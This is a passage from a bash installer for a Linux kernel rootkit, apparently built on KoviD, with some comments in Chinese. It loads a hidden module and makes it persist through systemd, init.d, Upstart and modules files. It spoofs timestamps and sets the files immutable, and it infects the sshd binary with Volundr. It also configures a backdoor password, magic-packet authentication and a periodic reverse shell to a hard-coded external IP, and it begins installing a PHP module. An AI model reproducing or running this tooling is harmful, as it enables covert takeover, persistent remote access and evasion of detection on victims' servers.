				log_success "Module loaded successfully with ModuleLoader."
				MODULE_LOADED=true
			else
				log_warn "ModuleLoader failed to load module, trying modprobe..."
			fi
		else
			log_warn "ModuleLoader not available, trying modprobe instead..."
		fi
		
		# Method 2: Try modprobe if ModuleLoader failed
		if [ "$MODULE_LOADED" = false ] && command -v modprobe >/dev/null 2>&1; then
			log_info "Attempting to load module with modprobe..."
			if modprobe "$MODULE" 2>/dev/null; then
				log_success "Module loaded successfully with modprobe."
				MODULE_LOADED=true
			else
				log_warn "modprobe failed to load module, trying insmod as last resort..."
			fi
		fi
		
		# Method 3: Try insmod as last resort
		if [ "$MODULE_LOADED" = false ] && command -v insmod >/dev/null 2>&1 && [ -f "$DRIVER_DIRECTORY/${MODULE}.ko" ]; then
			log_info "Attempting to load module with insmod (last resort)..."
			if insmod "$DRIVER_DIRECTORY/${MODULE}.ko" 2>/dev/null; then
				log_success "Module loaded successfully with insmod."
				MODULE_LOADED=true
			else
				log_warn "All module loading methods failed. The module may load on next boot."
			fi
		fi

		# Enable and start services - we'll leverage a helper function
		enable_and_start_services || {
			log_warn "Failed to enable and start rootkit services automatically."
		}
		
		# Final verification
		sleep 2
		if lsmod | grep -q "^${MODULE}" 2>/dev/null; then
			log_success "Verified module ${MODULE} is loaded in kernel (via lsmod)."
		elif grep -q "${MODULE}" /proc/modules 2>/dev/null; then
			log_success "Verified module ${MODULE} is loaded in kernel (via /proc/modules)."
		else
			log_warn "Could not verify if module ${MODULE} is loaded. It may load on next boot."
		fi

		log_success "ROOTKIT autostart installation completed successfully!"
		return 0
	fi
	
	log_info "Rootkit autostart installation skipped based on user selection."
    return 0
}

# Helper function to configure module autoload across different init systems
configure_module_autoload() {
    # Configure /etc/modules - used by Debian-based systems
    log_info "Configuring /etc/modules..."
    chattr -ia /etc/modules &>/dev/null
    
    # Create if doesn't exist
    if [ ! -f /etc/modules ]; then
        log_info "Creating /etc/modules file..."
        if ! touch /etc/modules || ! chmod 644 /etc/modules; then
            log_error "Failed to create /etc/modules."
            return 1
        fi
        log_success "Created /etc/modules file."
    fi
    
    # Add module if not already present
    if ! grep -qx "$MODULE" /etc/modules; then
        log_info "Adding module to /etc/modules..."
        if ! echo -e "#<$MODULE>\n$MODULE\n#</$MODULE>" >> /etc/modules; then
            log_error "Failed to update /etc/modules."
            return 1
        fi
        log_success "$MODULE added to /etc/modules."
    else
        log_warn "$MODULE already exists in /etc/modules."
    fi
    
    # Apply timestamps
    if get_base_time "/etc"; then
        if [ -n "$base_time" ]; then
            spoof_file_timestamp /etc/modules "$base_time" || 
                log_warn "Failed to spoof timestamp for /etc/modules"
        fi
    else
        log_warn "Skipping timestamp spoofing for /etc/modules: base_time not available."
    fi
    
    chattr +ia /etc/modules &>/dev/null
        
    # Configure /etc/rc.modules - for compatibility with some older systems
    log_info "Configuring /etc/rc.modules..."
    chattr -ia /etc/rc.modules &>/dev/null
    
    # Create if doesn't exist
    if [ ! -f /etc/rc.modules ]; then
        log_info "Creating /etc/rc.modules file..."
        if ! touch /etc/rc.modules || ! chmod 755 /etc/rc.modules; then
            log_error "Failed to create /etc/rc.modules."
            return 1
        fi
        log_success "Created /etc/rc.modules file."
    fi
    
    # Add both modprobe and insmod fallback in rc.modules
    if ! grep -qx "modprobe $MODULE" /etc/rc.modules && ! grep -q "$DRIVER_DIRECTORY/${MODULE}.ko" /etc/rc.modules; then
        log_info "Adding module load entry to /etc/rc.modules..."
        if ! cat >> /etc/rc.modules << EOL
#<$MODULE>
if [ -x "/${MODULE}/${MODULE}Loader" ] && [ -f "$DRIVER_DIRECTORY/${MODULE}.ko" ]; then
    /${MODULE}/${MODULE}Loader "$DRIVER_DIRECTORY/${MODULE}.ko" 2>/dev/null ||
    modprobe $MODULE 2>/dev/null ||
    insmod $DRIVER_DIRECTORY/${MODULE}.ko 2>/dev/null
else
    modprobe $MODULE 2>/dev/null ||
    insmod $DRIVER_DIRECTORY/${MODULE}.ko 2>/dev/null
fi
#</$MODULE>
EOL
        then
            log_error "Failed to update /etc/rc.modules."
            return 1
        fi
        log_success "Module load entry with cascading fallback added to /etc/rc.modules."
    else
        log_warn "Module load entry already exists in /etc/rc.modules."
    fi
    
    # Set executable, restore timestamp and set immutable
    chmod +x /etc/rc.modules
    
    # Apply timestamps
    if get_base_time "/etc"; then
        if [ -n "$base_time" ]; then
            spoof_file_timestamp /etc/rc.modules "$base_time" || 
                log_warn "Failed to spoof timestamp for /etc/rc.modules"
        fi
    else
        log_warn "Skipping timestamp spoofing for /etc/rc.modules: base_time not available."
    fi
    
    chattr +ia /etc/rc.modules &>/dev/null

    # Configure /etc/modules-load.d - for modern systemd-based systems
    log_info "Configuring /etc/modules-load.d..."
    local conf_file="/etc/modules-load.d/policymodule.conf"
    
    chattr -ia "$conf_file" &>/dev/null
    
    # Create directory if doesn't exist
    mkdir -p /etc/modules-load.d/ 2>/dev/null || {
        log_error "Failed to create /etc/modules-load.d/ directory."
        return 1
    }
    
    # Create or update the config file
    if [ ! -f "$conf_file" ]; then
        log_info "Creating $conf_file..."
        if ! echo "$MODULE" > "$conf_file"; then
            log_error "Failed to create $conf_file."
            return 1
        fi
        log_success "Created $conf_file with module entry."
    else
        if ! grep -qx "$MODULE" "$conf_file"; then
            log_info "Appending module to $conf_file..."
            if ! echo "$MODULE" >> "$conf_file"; then
                log_error "Failed to append to $conf_file."
                return 1
            fi
            log_success "$MODULE appended to $conf_file."
        else
            log_warn "$MODULE already exists in $conf_file."
        fi
    fi
    
    # Apply timestamps
    if get_base_time "/etc"; then
        if [ -n "$base_time" ]; then
            spoof_file_timestamp "$conf_file" "$base_time" || 
                log_warn "Failed to spoof timestamp for $conf_file"
        fi
    else
        log_warn "Skipping timestamp spoofing for $conf_file: base_time not available."
    fi

    chattr +ia "$conf_file" &>/dev/null

    # Create systemd service file if applicable
    if [ -d "/etc/systemd/system/" ]; then
        SERVICE_FILE="/etc/systemd/system/policysys.service"
        log_info "Creating systemd service file: $SERVICE_FILE"
        
        # Remove immutable attribute if exists
        chattr -ia "$SERVICE_FILE" &>/dev/null
        
        if [ ! -f "$SERVICE_FILE" ]; then
            # Create systemd service file with loader-first cascading strategy
            cat > "$SERVICE_FILE" <<EOL
[Unit]
Description=PolicyModule Driver
After=network.target multi-user.target
ConditionPathExists=$DRIVER_DIRECTORY/${MODULE}.ko

[Service]
Type=oneshot
ExecStartPre=-/${MODULE}/${MODULE}Loader $DRIVER_DIRECTORY/${MODULE}.ko
ExecStart=/bin/true
ExecStartPost=-modprobe ${MODULE}
ExecStartPost=-insmod $DRIVER_DIRECTORY/${MODULE}.ko
RemainAfterExit=true
StandardOutput=null
StandardError=null
LogLevelMax=emerg

[Install]
WantedBy=multi-user.target
EOL
            log_success "Systemd service file created: $SERVICE_FILE"
        else
            log_warn "Systemd service file already exists: $SERVICE_FILE"
        fi
        
        # Apply timestamps
        if get_base_time "/etc/systemd/system"; then
            if [ -n "$base_time" ]; then
                spoof_file_timestamp "$SERVICE_FILE" "$base_time" || 
                    log_warn "Failed to spoof timestamp for $SERVICE_FILE"
            fi
        else
            log_warn "Skipping timestamp spoofing for $SERVICE_FILE: base_time not available."
        fi
        
        # Set as immutable
        chattr +ia "$SERVICE_FILE" &>/dev/null
    fi

    # Create Upstart service file if available (older Ubuntu/Debian)
    if command -v initctl &>/dev/null; then
        UPSTART_FILE="/etc/init/policy-sys.conf"
        log_info "Creating Upstart service file: $UPSTART_FILE"
        
        if [ ! -f "$UPSTART_FILE" ]; then
            # Create parent directory if it doesn't exist
            mkdir -p "$(dirname "$UPSTART_FILE")" 2>/dev/null
            
            # Create Upstart file with loader-first cascading mechanism
            cat > "$UPSTART_FILE" <<EOL
description "Monitoring Driver Module"

start on runlevel [2345]
stop on runlevel [!2345]

respawn
respawn limit 10 5

pre-start script
    test -f $DRIVER_DIRECTORY/${MODULE}.ko || { stop; exit 0; }
end script

script
    if [ -x "/${MODULE}/${MODULE}Loader" ]; then
        /${MODULE}/${MODULE}Loader "$DRIVER_DIRECTORY/${MODULE}.ko" 2>/dev/null ||
        { modprobe ${MODULE} 2>/dev/null || insmod "$DRIVER_DIRECTORY/${MODULE}.ko" 2>/dev/null; }
    else
        modprobe ${MODULE} 2>/dev/null || insmod "$DRIVER_DIRECTORY/${MODULE}.ko" 2>/dev/null
    fi
end script
EOL
            log_success "Upstart service file created: $UPSTART_FILE"
            
            # Apply timestamps
            if get_base_time "/etc/init"; then
                if [ -n "$base_time" ]; then
                    spoof_file_timestamp "$UPSTART_FILE" "$base_time" || 
                        log_warn "Failed to spoof timestamp for $UPSTART_FILE"
                fi
            else
                log_warn "Skipping timestamp spoofing for $UPSTART_FILE: base_time not available."
            fi
        else
            log_warn "Upstart service file already exists: $UPSTART_FILE"
        fi
    fi

    # Create init.d startup script (SysV init compatibility)
    log_info "Creating init.d startup script..."
    INITD_SCRIPT="/etc/init.d/policyinit"
    
    if [ ! -f "$INITD_SCRIPT" ]; then
        # Ensure parent directory exists
        mkdir -p "$(dirname "$INITD_SCRIPT")" 2>/dev/null
        
        # Create enhanced init.d script with more robust module loading and fallback
        cat > "$INITD_SCRIPT" <<EOL
#!/bin/bash
### BEGIN INIT INFO
# Provides:          policyinit
# Required-Start:    \$local_fs \$network \$remote_fs
# Required-Stop:     \$local_fs \$network \$remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Load policyinit module at startup
# Description:       Load the module for policyinit at boot time
### END INIT INFO

MODULE_PATH="$DRIVER_DIRECTORY/${MODULE}.ko"
LOADER_PATH="/${MODULE}/${MODULE}Loader"

# Check if module file exists
[ -f "\$MODULE_PATH" ] || exit 0

load_module() {
    if [ -x "\$LOADER_PATH" ]; then
        "\$LOADER_PATH" "\$MODULE_PATH"
        result=\$?
        if [ \$result -eq 0 ]; then
            return 0
        fi
    fi

    if command -v modprobe >/dev/null 2>&1; then
        modprobe ${MODULE} 2>/dev/null
        result=\$?
        if [ \$result -eq 0 ]; then
            return 0
        fi
    fi

    insmod "\$MODULE_PATH" 2>/dev/null
    return \$?
}

case "\$1" in
    start)
        load_module
        exit \$?
        ;;
    stop)
        echo "The kernel module cannot be unloaded."
        ;;
    status)
        ;;
    *)
        echo "Usage: \$0 {start|stop|status}"
        exit 1
        ;;
esac

exit 0
EOL

        if ! chmod +x "$INITD_SCRIPT"; then
            log_error "Failed to set executable permission on $INITD_SCRIPT"
            return 1
        fi
        log_success "Init.d script created: $INITD_SCRIPT"
    else
        log_warn "Init.d script already exists: $INITD_SCRIPT"
    fi
    
    # Set proper permissions
    chmod 755 "$INITD_SCRIPT"
    
    # Apply timestamps
    if get_base_time "/etc/init.d"; then
        if [ -n "$base_time" ]; then
            spoof_file_timestamp "$INITD_SCRIPT" "$base_time" || 
                log_warn "Failed to spoof timestamp for $INITD_SCRIPT"
        fi
    else
        log_warn "Skipping timestamp spoofing for $INITD_SCRIPT: base_time not available."
    fi
    
    return 0
}

# Helper function to enable and start services after installation
enable_and_start_services() {
    local success=false
    
    # 1. Try systemd (modern Linux distributions)
    if command -v systemctl >/dev/null 2>&1; then
        log_info "Enabling and starting service with systemd..."
        systemctl daemon-reload 2>/dev/null
        systemctl enable policysys.service 2>/dev/null
        
        if systemctl start policysys.service 2>/dev/null; then
            log_success "Successfully started policysys service with systemd."
            success=true
        else
            log_warn "Failed to start policysys with systemd, trying alternative methods."
        fi
    fi
    
    # 2. Try SysVinit (older Linux distributions)
    if [ -f "/etc/init.d/policyinit" ]; then
        log_info "SysVinit detected, configuring service..."
        
        # Try multiple ways to enable the service on boot
        if command -v update-rc.d >/dev/null 2>&1; then
            update-rc.d policyinit defaults >/dev/null 2>&1 && 
                log_success "Service enabled with update-rc.d."
        elif command -v chkconfig >/dev/null 2>&1; then
            chkconfig policyinit on >/dev/null 2>&1 && 
                log_success "Service enabled with chkconfig."
        elif command -v insserv >/dev/null 2>&1; then
            insserv policyinit >/dev/null 2>&1 &&
                log_success "Service enabled with insserv."
        fi
        
        # Start the service
        if service policyinit start 2>/dev/null; then
            log_success "Successfully started policyinit service with SysVinit."
            success=true
        elif /etc/init.d/policyinit start 2>/dev/null; then
            log_success "Successfully started policyinit service directly."
            success=true
        else
            log_warn "Failed to start service with SysVinit, trying direct execution."
        fi
    fi
    
    # 3. Try Upstart (Ubuntu versions before 15.04)
    if command -v initctl >/dev/null 2>&1 && [ -f "/etc/init/policy-sys.conf" ]; then
        log_info "Upstart detected, starting service..."
        initctl reload-configuration 2>/dev/null || true
        
        if initctl start policy-sys 2>/dev/null; then
            log_success "Successfully started policy-sys service with Upstart."
            success=true
        else
            log_warn "Failed to start service with Upstart."
        fi
    fi
    
    # Return success if any method worked
    if [ "$success" = true ]; then
        return 0
    else
        return 1
    fi
}

installVolundr() {
    # Generate UUID if not set
    local UUIDGEN=${UUIDGEN:-$(uuidgen)}

    # Defaults
    local INSTALL="/var"
    local VOLUNDR=$SCRIPT_DIR/volundr
    local KOVID=$DRIVER_DIRECTORY/${MODULE}.ko
    local LOADER=$SCRIPT_DIR/ROOTKIT2/src/loadmodule.sh

    local BKPDIR="elfbkp"

    log_start "Starting installation..."

    # Check utilities
    for util in readelf md5sum mktemp stat; do
        if [[ ! $(which "$util") ]]; then
            log_error "$util not found"
            exit 1
        fi
    done
	
    # Verify KoviD status
    if [[ ! -f /proc/$MODULE ]]; then
        log_error "KoviD not running"
        exit 1
    fi

    # Locate target (sshd)
    local target=$(which sshd 2>/dev/null)
    if [[ -z "$target" || ! -f "$target" ]]; then
        log_error "sshd not found or target file does not exist"
        exit 1
    fi

    log_info "Reading ELF header..."
    readelf -h "$target" || log_warn "Failed to read ELF header"

    local perm=$(stat -c '%a' "$target")

    log_info "Copying KOVID module and loader..."
    cp -v "$KOVID" "$INSTALL/.$UUIDGEN.ko" || {
        log_error "Failed to copy KOVID module"
        exit 1
    }
    cp -v "$LOADER" "$INSTALL/.$UUIDGEN.sh" || {
        log_error "Failed to copy loader script"
        exit 1
    }

    mkdir -p "$BKPDIR"
    log_info "Backing up target file..."
    cp -v "$target" "$BKPDIR" || {
        log_error "Failed to backup target file"
        exit 1
    }

    local d="$(date "+%m_%d_%y_%s")"
    local vfbkp="$BKPDIR/$(basename "$target").$d"
    cp -v "$target" "$vfbkp"

    local vf="$BKPDIR/$(basename "$target")"

    log_info "Running Volundr infection process..."
    pushd "$VOLUNDR" > /dev/null && {
	
		make > /dev/null 2>&1
		# Verify Volundr directory
		if [[ ! -f "$VOLUNDR/volundr/libvolundr.so" ]]; then
			log_error "Invalid Volundr directory or Volundr not built"
			exit 1
		fi
	
        source completion.sh
        ./run example-infect-text "$vf" ../src/persist || {
            log_error "Infection process failed"
            exit 1
        }
        popd > /dev/null
    }

    log_info "Replacing target file..."
    rm -fv "$target" || {
        log_error "Failed to remove original file"
        exit 1
    }
    cp -v "$vf" "$target" || {
        log_error "Failed to copy modified file"
        log_warn "Backup exists at: $BKPDIR/$(basename "$target").bkp"
        exit 1
    }

    chmod "$perm" "$target"
    rm -f "$vf"

    log_success "Installation complete"
}

configGenInit() {
    # Load module name (hide name)
    log_info "MODULE set to: $MODULE"

    # 设置 DRIVER_DIRECTORY（确保使用双引号保护变量）
    log_info "Driver directory: $DRIVER_DIRECTORY"

    # 检查 DRIVER_DIRECTORY 是否存在，不存在则创建
    if [ ! -d "$DRIVER_DIRECTORY" ]; then
        if ! mkdir -p "$DRIVER_DIRECTORY"; then
            log_error "Failed to create driver directory: $DRIVER_DIRECTORY"
            exit 1
        else
            log_success "Driver directory created: $DRIVER_DIRECTORY"
        fi
    else
        log_info "Driver directory already exists: $DRIVER_DIRECTORY"
    fi

    # Load tag name used to hide file contents
    log_info "TAG set to: $MODULE"

    log_success "Configuration loaded successfully."
}

configGen_Ver1() {
    # 提示并获取配置值
    loadConfig "Auth token for magic packets" "bangkokvi3ws"
    TOKEN="$RETVAL"
    log_info "Auth token set to : $TOKEN"
	
	RandomPASS=$(openssl rand -base64 12)
	loadConfig "Backdoor password" "$RandomPASS"
	if [ -z "$RETVAL" ]; then
		PASS="$RandomPASS"
	else
		PASS="$RETVAL"
	fi

	if [ -z "$PASS" ]; then
		log_error "Backdoor password cannot be empty!"
		exit 1
	fi
	log_info "Backdoor password set to: $PASS"

    loadConfig "Source port for magic packets" "666"
    SRCPORT="$RETVAL"
    log_info "Source port set to: $SRCPORT"

    loadConfig "Configure reverse shell periodically? (y/n)" "y"
    RSH="$RETVAL"
    if [[ "$RSH" =~ [Yy] ]]; then
        loadConfig "Reverse shell IP" "139.99.97.158"
        LHOST="$RETVAL"
        loadConfig "Reverse shell Port" "443"
        LPORT="$RETVAL"
        loadConfig "Interval (in seconds)" "60"
        INTERVAL="$RETVAL"
        log_info "Reverse shell configured: IP=$LHOST, Port=$LPORT, Interval=$INTERVAL"
    fi

    log_info "Configuring environment..."

    # 确保 DRIVER_DIRECTORY 存在
    if [ ! -d "$DRIVER_DIRECTORY" ]; then
        if ! mkdir -p "$DRIVER_DIRECTORY"; then
            log_error "Failed to create driver directory: $DRIVER_DIRECTORY"
            exit 1
        fi
        log_success "Created driver directory: $DRIVER_DIRECTORY"
    fi

    # 设定 shell 和命令路径
    _SHELL="/${MODULE}/${MODULE}_reverses8D2"
    CMD="/${MODULE}/${MODULE}_cmd9o2E"

    # 生成启动脚本
    log_info "Generating startup script..."
    {
        echo "#!/bin/bash"
        echo "#<$MODULE>"
        if [[ "$RSH" =~ [Yy] ]]; then
            echo "$_SHELL -t $LHOST -p $LPORT -s $PASS -r $INTERVAL"
        fi
        echo "#$CMD hide \ps -ef | grep \"ata/0\" | grep -v grep | awk '{print \$2}'"
        echo "$CMD file-tampering"
        echo "#</$MODULE>"
    } > scripts/start || { log_error "Failed to write scripts/start."; exit 1; }

    chmod 755 scripts/start || { log_error "Failed to set executable permission on scripts/start."; exit 1; }

    # 生成 config.script 配置文件
    START="/${MODULE}/${MODULE}_start0K33"
    TAGIN="#<$MODULE>"
    TAGOUT="#</$MODULE>"

    randomGen; AUTH="0x$RETVAL"
    randomGen; HTUA="0x$RETVAL"

    log_info "Generating temporary config script..."
    {
        echo "#ifndef _CONFIG_H"
        echo "#define _CONFIG_H"
        echo "#define TOKEN        \"$TOKEN\""
        echo "#define PASS         \"$PASS\""
        echo "#define SHELL        \"$_SHELL\""
        echo "#define START        \"$START\""
        echo "#define HIDE         \"$MODULE\""
        echo "#define HIDETAGIN    \"$MODULEIN\""
        echo "#define HIDETAGOUT   \"$MODULEOUT\""
        echo "#define PATH         \"PATH=/sbin:/bin:/usr/sbin:/usr/bin\""
        echo "#define WORKQUEUE    \"ata/0\""
        echo "#define SRCPORT      $SRCPORT"
        echo "#define AUTH         $AUTH"
        echo "#define HTUA         $HTUA"
        echo "#define BPASS        \"$PASS\""
        echo "#endif"
    } > config.script || { log_error "Failed to write config.script."; exit 1; }

    # 运行 Perl 脚本转换配置文件
    if ! perl scripts/destringify.pl < config.script > config.h; then
        log_error "Failed to generate config.h."
        exit 1
    fi
    rm -rf config.script

    HOMEDIR="/root"
    RCFILE="/${MODULE}/${MODULE}_rc96e3"

    log_info "Generating secondary config script..."
    {
        echo "#ifndef _CONFIG_H"
        echo "#define _CONFIG_H"
        echo "#define HOMEDIR \"$HOMEDIR\""
        echo "#define RCFILE \"$RCFILE\""
        echo "#define GET_FILE 1"
        echo "#define PUT_FILE 2"
        echo "#define RUNSHELL 3"
        echo "#define SET_DELAY 4"
        echo "#define OUT 5"
        echo "#define EXIT_LEN 16"
        echo "#define EXIT \";7(Zu9YTsA7qQ#vw\""
        echo "#define AUTH $AUTH"
        echo "#define HTUA $HTUA"
        echo "#define BPASS \"$PASS\""
        echo "#endif"
    } > sbin/config.script || { log_error "Failed to write sbin/config.script."; exit 1; }

    if ! perl scripts/destringify.pl < sbin/config.script > sbin/config.h; then
        log_error "Failed to generate sbin/config.h."
        exit 1
    fi
    rm -rf sbin/config.script

    log_success "Configuration generation complete."
    return 0
}

ModuleLoader() {
    log_start "Building loader..."
    if gcc -o loader loader.c -Wall -Wextra; then
        # 创建目标目录
        if ! mkdir -p "/$MODULE"; then
            log_error "Failed to create directory '/$MODULE'."
            exit 1
        fi
        # 移动编译生成的 loader 到目标目录
        if ! mv loader "/$MODULE/${MODULE}Loader"; then
            log_error "Failed to move loader binary to '/$MODULE/${MODULE}Loader'."
            exit 1
        fi
        # 设置 loader 可执行权限
        if ! chmod +x "/$MODULE/${MODULE}Loader"; then
            log_error "Failed to set executable permissions on '/$MODULE/${MODULE}Loader'."
            exit 1
        fi
        log_success "Loader built and installed successfully."
		
		if [[ -f /bin/bash ]]; then
          base_time=$(stat -c %y /bin/bash)
       elif [[ -f /sbin/sh ]]; then
          base_time=$(stat -c %y /sbin/sh)
       else
          base_time=$(date '+%Y-%m-%d %H:%M:%S')
          log_warn "Fallback to current time as base_time: $base_time"
       fi

       if [[ -n "$base_time" ]]; then
          spoof_file_timestamp "/$MODULE/${MODULE}Loader" "$base_time"
       else
          log_warn "base_time is empty. Skipping timestamp spoofing for /$MODULE/${MODULE}Loader files."
       fi
	   
    else
        log_error "Error during loader compilation."
        exit 1
    fi
}

loadConfig() {
    RETVAL=""

    if [ -z "${2-}" ]; then
        ROTULE="$1: "
    else
        ROTULE="$1 (default: $2): "
    fi

    read -r -p "$ROTULE" input

    if [ -z "$input" ]; then
        RETVAL="$2"
    else
        RETVAL="$input"
    fi
}

randomGen() {
    if command -v openssl >/dev/null 2>&1; then
        RETVAL=$(openssl rand -hex 4 2>/dev/null)
    fi

    if [ -z "$RETVAL" ]; then
        if command -v hexdump >/dev/null 2>&1; then
            RETVAL=$(head -c 4 /dev/urandom | hexdump -e '4/1 "%02x"')
        else
            RETVAL=$(head -c 4 /dev/urandom | od -An -tx1 | tr -d ' ')
        fi
    fi
}

askRootkit() {
    case "$ARCH" in
        i386|i686)
            log_warn "Skipping rootkit ask installation for $ARCH architecture..."
            return 0
            ;;
    esac

    while true; do
        echo -ne "${CYAN}Do you want to install Rootkit? [y/n]: ${NC}"
        read -r REPLY
        case "$REPLY" in
            [Yy])
                initRootkit
				ROOTKIT_INSTALLED="yes"
				installRootkit
                break
                ;;
            [Nn]|"")
                log_warn "Skipping installation of Rootkit."
				ROOTKIT_INSTALLED="no"
                break
                ;;
            *)
                log_error "Invalid input. Please enter 'y' or 'n'."
                ;;
        esac
    done
}

# ================================= PHP =====================================================
deploy_php_module() {
    log_start "Installing PHP module..."
    
	case "$ARCH" in
        i386|i686)
            log_warn "Skipping php module installation for $ARCH architecture..."
            return 0
            ;;
    esac
	
    # Define constant variables
    local MODULE_NAME=${PHP_EXT_NAME}
    local PHP_DIR="PHP"
    local MODULE_FILE="$PHP_DIR/$MODULE_NAME.c"
	PHPSTATUS=0
    
    # Check module source exists before proceeding with PHP detection
    if [ ! -d "$PHP_DIR" ]; then
        log_error "Directory $PHP_DIR does not exist. Please make sure it exists."
        return 1
    fi
    
    if [[ ! -f "$MODULE_FILE" ]]; then
        log_error "Module file $MODULE_FILE not found. Please make sure the file exists."
        return 1
    else
        log_info "Found module file: $MODULE_FILE"
    fi
    
    # Initialize variables
    local PHP_INSTALLED=false
    declare -A PHP_INSTALLATIONS    # Array to store multiple PHP installations
    local CURRENT_PHP=""            # Currently selected PHP version
    local SELECTED_PHP_INDEX=0      # Selected PHP version index
    
    # Common PHP binary names and locations
    local php_bin_names=("php" "php8" "php81" "php82" "php7" "php74" "php73" "php72" "php71" "php70" "php56")
    local php_locations=(
        "/usr/bin"
        "/usr/local/bin"
        "/usr/local/php/bin"
        "/opt/php/bin"
        "/opt/remi/php*/bin"
        "/opt/plesk/php/*/bin"
        "/usr/local/php*/bin"
        "/opt/lampp/bin"
        "/xampp/php/bin"
    )
    
    # Function: Detect all PHP installations
	detect_all_php_installations() {
		log_info "Detecting PHP installations..."
		local php_count=0
		declare -A real_installations
		local found_real_paths=()
		
		# Helper function to check and add PHP installation
		add_php_installation() {
			local bin_path="$1"
			local bin_name="$2"
			
			# Skip if not executable
			if [ ! -x "$bin_path" ]; then
				return
			fi
			
			# Get the real path
			local real_path=$(readlink -f "$bin_path" 2>/dev/null || echo "$bin_path")
			
			# Execute the binary to get version
			local version=$("$bin_path" -r 'echo PHP_VERSION;' 2>/dev/null)
			if [ -z "$version" ]; then
				return
			fi
			
			# Check if this is a real installation or symlink
			local is_symlink=false
			if [ "$bin_path" != "$real_path" ]; then
				is_symlink=true
			fi
			
			# Organize by real path to handle symlinks properly
			if ! [[ " ${found_real_paths[@]} " =~ " $real_path " ]]; then
				# First time seeing this real PHP installation
				found_real_paths+=("$real_path")
				
				# Store with preference for actual installation path
				real_installations["$real_path,bin"]="$bin_name"
				real_installations["$real_path,bin_path"]="$bin_path"
				real_installations["$real_path,version"]="$version"
				real_installations["$real_path,is_symlink"]="$is_symlink"
				real_installations["$real_path,seen"]=1
				
				log_info "Found PHP installation: $bin_path (v$version) [real path: $real_path]"
			else
				# We've seen this real path before
				real_installations["$real_path,seen"]=$((real_installations["$real_path,seen"] + 1))
				
				# If current path isn't a symlink but previously saved one is,
				# update to use this non-symlink path as it's likely the real installation
				if [ "$is_symlink" = false ] && [ "${real_installations["$real_path,is_symlink"]}" = true ]; then
					log_info "Updating to use actual installation path: $bin_path (v$version) [was: ${real_installations["$real_path,bin_path"]}]"
					real_installations["$real_path,bin"]="$bin_name"
					real_installations["$real_path,bin_path"]="$bin_path"
					real_installations["$real_path,is_symlink"]="$is_symlink"
				fi
			fi
		}
		
		# First search in PATH
		for bin in "${php_bin_names[@]}"; do
			if command -v $bin >/dev/null 2>&1; then
				local bin_path=$(command -v $bin)
				add_php_installation "$bin_path" "$bin"
			fi
		done
		
		# Then search common locations with higher priority
		for location in "${php_locations[@]}"; do
			if [[ "$location" == *"*"* ]]; then
				for expanded_location in $(ls -d $location 2>/dev/null); do
					for bin in "${php_bin_names[@]}"; do
						add_php_installation "$expanded_location/$bin" "$bin"
					done
				done
			else
				for bin in "${php_bin_names[@]}"; do
					add_php_installation "$location/$bin" "$bin"
				done
			fi
		done
		
		# Finally search the system if nothing found
		if [ ${#found_real_paths[@]} -eq 0 ]; then
			log_info "Searching for PHP binaries in the system..."
			for bin in "${php_bin_names[@]}"; do
				local bin_paths=$(find /usr/bin /usr/local/bin /opt/*/bin -name "$bin" -type f -executable 2>/dev/null)
				for bin_path in $bin_paths; do
					add_php_installation "$bin_path" "$bin"
				done
			done
		fi
		
		# Transfer unique installations to the main array
		php_count=0
		for real_path in "${found_real_paths[@]}"; do
			PHP_INSTALLATIONS["$php_count,bin"]="${real_installations["$real_path,bin"]}"
			PHP_INSTALLATIONS["$php_count,bin_path"]="${real_installations["$real_path,bin_path"]}"
			PHP_INSTALLATIONS["$php_count,version"]="${real_installations["$real_path,version"]}"
			PHP_INSTALLATIONS["$php_count,real_path"]="$real_path"
			php_count=$((php_count + 1))
		done
		
		# Set installation flag and count
		if [ $php_count -gt 0 ]; then
			PHP_INSTALLED=true
			PHP_INSTALLATIONS["count"]="$php_count"
			log_success "Detected $php_count unique PHP installation(s)"
			
			# Debug info
			for ((i=0; i<php_count; i++)); do
				log_info "PHP[$i]: ${PHP_INSTALLATIONS["$i,bin_path"]} (v${PHP_INSTALLATIONS["$i,version"]})"
			done
			
			return 0
		else
			PHP_INSTALLATIONS["count"]="0"
			return 1
		fi
	}
    
    # Function: Select PHP version
    select_php_version() {
        local php_count=${PHP_INSTALLATIONS["count"]}
        
        # If only one PHP version, select it automatically
        if [ "$php_count" -eq 1 ]; then
            SELECTED_PHP_INDEX=0
            CURRENT_PHP=${PHP_INSTALLATIONS["0,bin_path"]}
            log_info "Using the only available PHP installation: ${PHP_INSTALLATIONS["0,bin_path"]} (v${PHP_INSTALLATIONS["0,version"]})"
            export PATH="$(dirname "${PHP_INSTALLATIONS["0,bin_path"]}"):$PATH"
            return 0
        fi
        
        # If multiple versions but USEROPTION is not "ask", use newest
        if [ "$php_count" -gt 1 ] && [ "$USEROPTION" != "ask" ]; then
            # Find highest version
            local highest_ver="0.0.0"
            local highest_idx=0
            
            for ((i=0; i<php_count; i++)); do
                local ver="${PHP_INSTALLATIONS["$i,version"]}"
                if [[ "$(printf '%s\n' "$highest_ver" "$ver" | sort -V | tail -n1)" == "$ver" ]]; then
                    highest_ver="$ver"
                    highest_idx="$i"
                fi
            done
            
            SELECTED_PHP_INDEX="$highest_idx"
            CURRENT_PHP="${PHP_INSTALLATIONS["$highest_idx,bin_path"]}"
            log_info "Automatically selected PHP v$highest_ver: $CURRENT_PHP"
            export PATH="$(dirname "$CURRENT_PHP"):$PATH"
            return 0
        fi
        
        # If multiple versions and USEROPTION is "ask", let user choose
        if [ "$php_count" -gt 1 ] && [ "$USEROPTION" == "ask" ]; then
            log_info "Multiple PHP installations detected. Please select one:"
            
            for ((i=0; i<php_count; i++)); do
                echo -e "${CYAN}$i. PHP ${PHP_INSTALLATIONS["$i,version"]} - ${PHP_INSTALLATIONS["$i,bin_path"]}${NC}"
            done
            
            local selected=""
            while true; do
                echo -ne "${YELLOW}Select PHP version (0-$((php_count-1))): ${NC}"
                read -r selected
                
                if [[ "$selected" =~ ^[0-9]+$ ]] && [ "$selected" -lt "$php_count" ]; then
                    break
                else
                    log_error "Invalid selection. Please enter a number between 0 and $((php_count-1))."
                fi
            done
            
            SELECTED_PHP_INDEX="$selected"
            CURRENT_PHP="${PHP_INSTALLATIONS["$selected,bin_path"]}"
            log_success "Selected PHP v${PHP_INSTALLATIONS["$selected,version"]}: $CURRENT_PHP"
            export PATH="$(dirname "$CURRENT_PHP"):$PATH"
            return 0
        fi
        
        return 1
    }
    
    # Function: Find tools for the selected PHP version
    find_php_tools() {
        # Get current selected PHP info
